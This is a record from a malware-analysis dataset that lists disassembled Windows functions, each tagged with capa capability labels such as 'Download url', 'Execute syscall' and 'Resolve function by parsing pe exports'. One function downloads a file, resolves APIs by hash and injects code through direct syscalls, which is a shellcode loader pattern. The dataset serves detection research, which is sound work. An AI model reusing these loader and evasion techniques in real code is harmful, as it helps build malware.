joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140052d94
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14004ad3c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140052e35
cmp ebx, dword [rsp + 0x30]
je 0x140052e2e
test esi, esi
je 0x140052e2e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140052e09
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140052e16
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140052df3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140052e1a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140052e37
mov eax, 1
jmp 0x140052e37
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14005b888
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14004e1f8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14004e1f8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14005b9d8
cmp rax, 0xffffffffffffffff
je 0x14005b9d8
xor edi, edi
test rbp, rbp
jle 0x14005b983
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14004c6e4
mov rbx, rax
test rax, rax
jne 0x14005b910
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14005b979
mov edx, 0x8000
mov ecx, r14d
call fcn.14003db08
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14004bdf0
cmp eax, 0xffffffff
je 0x14005b959
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14005b920
mov edx, r15d
mov ecx, r14d
call fcn.14003db08
jmp 0x14005b979
cmp byte [rsi + 0x38], dil
je 0x14005b970
cmp dword [rsi + 0x34], 5
jne 0x14005b970
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14005b979
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14004c0f8
jmp 0x14005b9ec
jns 0x14005b9ec
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14004e1f8
cmp rax, 0xffffffffffffffff
jne 0x14005b9a4
cmp byte [rsi + 0x30], dil
je 0x14005b9ec
mov edi, dword [rsi + 0x2c]
jmp 0x14005b9ec
mov ecx, r14d
call fcn.1400506b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14005b9ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14005b9ec
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14005b9e5
mov eax, dword [rsi + 0x2c]
jmp 0x14005b9ea
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14004e1f8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14005cb10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14005cb38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14005cb38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140003e20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0xa8
call fcn.140003da0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
add rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
add rax, 0x88
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x20]
add rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x70], 0
jmp 0x140003edf
mov rax, qword [rsp + 0x70]
inc rax
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x38]
cmp qword [rsp + 0x70], rax
jae 0x14000402d
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
cmp dword [rax + rcx*4], 0
jne 0x140003f00
jmp 0x140003ed2
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
mov eax, dword [rax + rcx*4]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
jmp 0x140003f33
mov rax, qword [rsp + 0x80]
inc rax
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x60]
cmp qword [rsp + 0x80], rax
jae 0x140004028
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x80]
movzx eax, word [rax + rcx*2]
cmp rax, qword [rsp + 0x70]
jne 0x140004023
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
mov eax, dword [rax + rcx*4]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x98], 0
mov rax, qword [rsp + 0x88]
movsx eax, byte [rax]
test eax, eax
je 0x140003ffd
mov eax, dword [rsp + 0x98]
shl eax, 0x19
mov ecx, dword [rsp + 0x98]
shr ecx, 7
or eax, ecx
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x88]
movsx eax, byte [rax]
mov ecx, dword [rsp + 0x98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
jmp 0x140003f9f
mov eax, dword [rsp + 0x98]
cmp dword [rsp + 0xb0], eax
jne 0x140004023
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 4]
jmp 0x14000402d
jmp 0x140003f20
jmp 0x140003ed2
add rsp, 0xa8
ret
Function at 0x140004150
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x1c8
mov qword [rsp + 0x1a0], 0xfffffffffffffffe
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x48]
call fcn.140005840
nop
lea rdx, [0x140030584]
lea rcx, [rsp + 0x70]
call fcn.140005840
nop
lea rdx, [0x140030590]
lea rcx, [rsp + 0x98]
call fcn.140005840
nop
lea rdx, [0x14003059c]
lea rcx, [rsp + 0xc0]
call fcn.140005840
nop
lea rdx, [0x1400305a8]
lea rcx, [rsp + 0xe8]
call fcn.140005840
nop
lea rdx, [0x1400305b4]
lea rcx, [rsp + 0x110]
call fcn.140005840
nop
lea rdx, [0x1400305c0]
lea rcx, [rsp + 0x20]
call fcn.140005840
nop
mov dword [rsp + 0x140], 0
jmp 0x14000420a
mov eax, dword [rsp + 0x140]
inc eax
mov dword [rsp + 0x140], eax
movsxd rax, dword [rsp + 0x140]
cmp rax, 5
jae 0x140004301
movsxd rax, dword [rsp + 0x140]
imul rax, rax, 0x28
lea rax, [rsp + rax + 0x70]
mov r8, rax
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x170]
call fcn.140008da0
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x1b0], rax
lea r8, [rsp + 0x20]
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x148]
call fcn.140008e60
nop
lea rcx, [rsp + 0x170]
call fcn.1400058b0
lea rcx, [rsp + 0x148]
call fcn.1400058e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400042ef
mov byte [rsp + 0x198], 1
lea rcx, [rsp + 0x148]
call fcn.1400058b0
nop
lea rcx, [rsp + 0x20]
call fcn.1400058b0
nop
lea r9, [fcn.1400058b0]
mov r8d, 5
mov edx, 0x28
lea rcx, [rsp + 0x70]
call fcn.14000d52c
nop
lea rcx, [rsp + 0x48]
call fcn.1400058b0
movzx eax, byte [rsp + 0x198]
jmp 0x140004343
lea rcx, [rsp + 0x148]
call fcn.1400058b0
jmp 0x1400041fa
mov byte [rsp + 0x199], 0
lea rcx, [rsp + 0x20]
call fcn.1400058b0
nop
lea r9, [fcn.1400058b0]
mov r8d, 5
mov edx, 0x28
lea rcx, [rsp + 0x70]
call fcn.14000d52c
nop
lea rcx, [rsp + 0x48]
call fcn.1400058b0
movzx eax, byte [rsp + 0x199]
add rsp, 0x1c8
ret
Function at 0x140004a00
Capabilities:
Download url
Receive data

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2f8
call fcn.140004350
movzx eax, al
test eax, eax
je 0x140004ce7
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x140030744]
lea rdx, str._s2024.png
lea rcx, [rsp + 0x1b0]
call fcn.140008ec0
call fcn.140004580
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x1b0]
mov rdx, qword [rsp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x24
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x70]
call fcn.140005900
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x70]
call fcn.1400050e0
mov rcx, rax
call fcn.1400069c0
mov qword [rsp + 0x180], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140005020
mov rcx, qword [rsp + 0x180]
call fcn.14000adcc
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x190], rax
mov r8, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x190]
lea rcx, [rsp + 0x70]
call fcn.140004f10
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x2e0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400037c0
movzx eax, al
test eax, eax
je 0x140004b7e
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x2e8], rax
mov rcx, qword [rsp + 0x2e8]
call fcn.14000dcb4
lea rcx, [rsp + 0x70]
call fcn.140005a80
lea rcx, [rsp + 0x70]
call fcn.140005a80
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x60], rax
mov ecx, 0x14044ae
call fcn.140003e20
movzx ecx, ax
call fcn.1400099a0
mov qword [rsp + 0x198], 0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x68]
xor r8d, r8d
lea rdx, [rsp + 0x198]
mov rcx, qword [rsp + 0x60]
call fcn.1400099b1
mov r8b, 0x69
mov edx, dword [rsp + 0x180]
mov rcx, qword [rsp + 0x190]
call fcn.1400048c0
mov edx, dword [rsp + 0x180]
mov rcx, qword [rsp + 0x190]
call fcn.140004930
mov ecx, 0x1130814d
call fcn.140003e20
movzx ecx, ax
call fcn.1400099a0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x180]
mov r8, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x60]
call fcn.1400099b1
mov ecx, 0x93ec9d3d
call fcn.140003e20
movzx ecx, ax
call fcn.1400099a0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x188]
call fcn.1400099b1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rsp + 0x70]
call fcn.140004d00
xor eax, eax
add rsp, 0x2f8
ret
Function at 0x140007a50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
je 0x140007a8d
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x89]
test eax, eax
jne 0x140007a99
mov al, 1
jmp 0x140007d05
mov dword [rsp + 0x30], 8
call fcn.140002920
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx]
mov qword [rsp + 0xa8], rcx
mov edx, eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xa8]
call qword [rax + 0x18]
mov dword [rsp + 0x70], eax
call fcn.140002920
mov dword [rsp + 0x74], eax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x74]
call fcn.140002890
movzx eax, al
test eax, eax
je 0x140007af8
xor al, al
jmp 0x140007d05
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140006bb0
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140006c20
mov rcx, rax
call fcn.140007ef0
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x40]
call fcn.140001940
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140006c20
mov rcx, rax
call fcn.140007ef0
mov rcx, qword [rsp + 0xe0]
add rcx, 0x8c
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0xb8]
mov r9, rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax + 0x80]
call fcn.140008890
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0
je 0x140007bd0
cmp dword [rsp + 0xc0], 1
je 0x140007bdf
cmp dword [rsp + 0xc0], 3
je 0x140007cbd
jmp 0x140007cd9
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x89], 0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.140006c20
mov rcx, rax
call fcn.140007ef0
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jbe 0x140007c72
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140006c20
mov rcx, rax
call fcn.140007ef0
mov rcx, qword [rsp + 0xe0]
mov r9, qword [rcx + 0x98]
mov r8, qword [rsp + 0x68]
mov edx, 1
mov rcx, rax
call fcn.14000e0a8
cmp qword [rsp + 0x68], rax
je 0x140007c72
mov byte [rsp + 0x98], 0
lea rcx, [rsp + 0x40]
call fcn.1400018b0
movzx eax, byte [rsp + 0x98]
jmp 0x140007d05
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x89]
test eax, eax
jne 0x140007ca1
mov byte [rsp + 0x99], 1
lea rcx, [rsp + 0x40]
call fcn.1400018b0
movzx eax, byte [rsp + 0x99]
jmp 0x140007d05
cmp qword [rsp + 0x68], 0
jne 0x140007cbb
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140001ab0
jmp 0x140007cf5
mov byte [rsp + 0x9a], 1
lea rcx, [rsp + 0x40]
call fcn.1400018b0
movzx eax, byte [rsp + 0x9a]
jmp 0x140007d05
mov byte [rsp + 0x9b], 0
lea rcx, [rsp + 0x40]
call fcn.1400018b0
movzx eax, byte [rsp + 0x9b]
jmp 0x140007d05
jmp 0x140007b0b
add rsp, 0xd8
ret

Function at 0x1400099b1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret

Function at 0x140012770
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400125e0
Function at 0x140025a50
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400384b0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140011ea0
xor ebx, ebx
cmp qword [0x1416af408], rbx
mov rdi, rax
jne 0x140025b63
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140025c3a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140025c3a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1416af408], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1416af410], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1416af418], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1416af428], rax
test rax, rax
je 0x140025b5a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1416af420], rax
jmp 0x140025b6a
mov rax, qword [0x1416af420]
jmp 0x140025b71
mov rax, qword [0x1416af420]
mov r11, qword [0x1416af428]
cmp rax, rdi
je 0x140025bd8
cmp r11, rdi
je 0x140025bd8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1416af428]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140025bd8
test rax, rax
je 0x140025bd8
call rsi
test rax, rax
je 0x140025bd2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140025bd2
test byte [rsp + 0x40], 1
jne 0x140025bd8
bts ebp, 0x15
jmp 0x140025c18
mov rcx, qword [0x1416af410]
cmp rcx, rdi
je 0x140025c18
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140025c18
call rax
mov rbx, rax
test rax, rax
je 0x140025c18
mov rcx, qword [0x1416af418]
cmp rcx, rdi
je 0x140025c18
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140025c18
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1416af408]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140025c3a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140025c3c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001a940
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140027723
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400384b0]
jne 0x14001a95a
rol rcx, 0x10
test cx, 0xffff
jne 0x14001a956
repz ret
ror rcx, 0x10
jmp 0x14002767c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1416af4d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1416af5c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140027701
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1416af4d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140027723
mov rax, qword [rsp + 0x88]
mov qword [0x1416af5c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1416af568], rax
mov rax, qword [0x1416af5c8]
mov qword [0x1416af440], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1416af550], rax
mov dword [0x1416af430], 0xc0000409
mov dword [0x1416af434], 1
mov rax, qword [0x1400384b0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400384b8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1416af4c8], eax
mov ecx, 1
call fcn.1400259e8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140030280]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1416af4c8], 0
jne 0x1400277aa
mov ecx, 1
call fcn.1400259e8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x2318058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x23181df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x2318089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x231806f
add dl, dl
jne 0x2318096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x23180f6
xor eax, eax
add dl, dl
jne 0x23180a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x23181ad
add dl, dl
jne 0x23180b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x23180c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x23180d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x23180dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x23180ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x231807e
mov eax, 1
add dl, dl
jne 0x2318106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2318113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x23180fb
sub eax, ebx
mov ebx, 1
jne 0x231814c
mov ecx, 1
add dl, dl
jne 0x231812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x231813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x2318123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x231807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x2318168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2318175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x231815d
cmp eax, 0x7d00
jae 0x231819b
cmp eax, 0x500
jb 0x2318196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x231807e
cmp eax, 0x7f
ja 0x231819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x231807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x23181d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x231807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002480
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, 0x10
lea rbx, [0x140010118]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov rcx, qword [0x140010128]
mov r9d, eax
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
mov rdx, qword [0x140010130]
sub r9d, eax
add r9b, 0x5a
cmp rcx, rdx
jae 0x1400024f3
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [0x140010128], rax
mov rax, rbx
cmova rax, qword [0x140010118]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400024fb
mov rcx, rbx
call fcn.140009710
sub rdi, 1
jne 0x140002496
cmp qword [0x140010130], 0xf
cmova rbx, qword [0x140010118]
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
Function at 0x140009f98
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140009fd2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140009fd7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000a020
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000c450]
cmp byte [rcx + rax], 0
je 0x14000a020
dec r8
sub rdx, 1
jne 0x14000a006
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000aff4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b03e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b03e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b03e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b03e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b03e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000b040
xor al, al
add rsp, 0x28
ret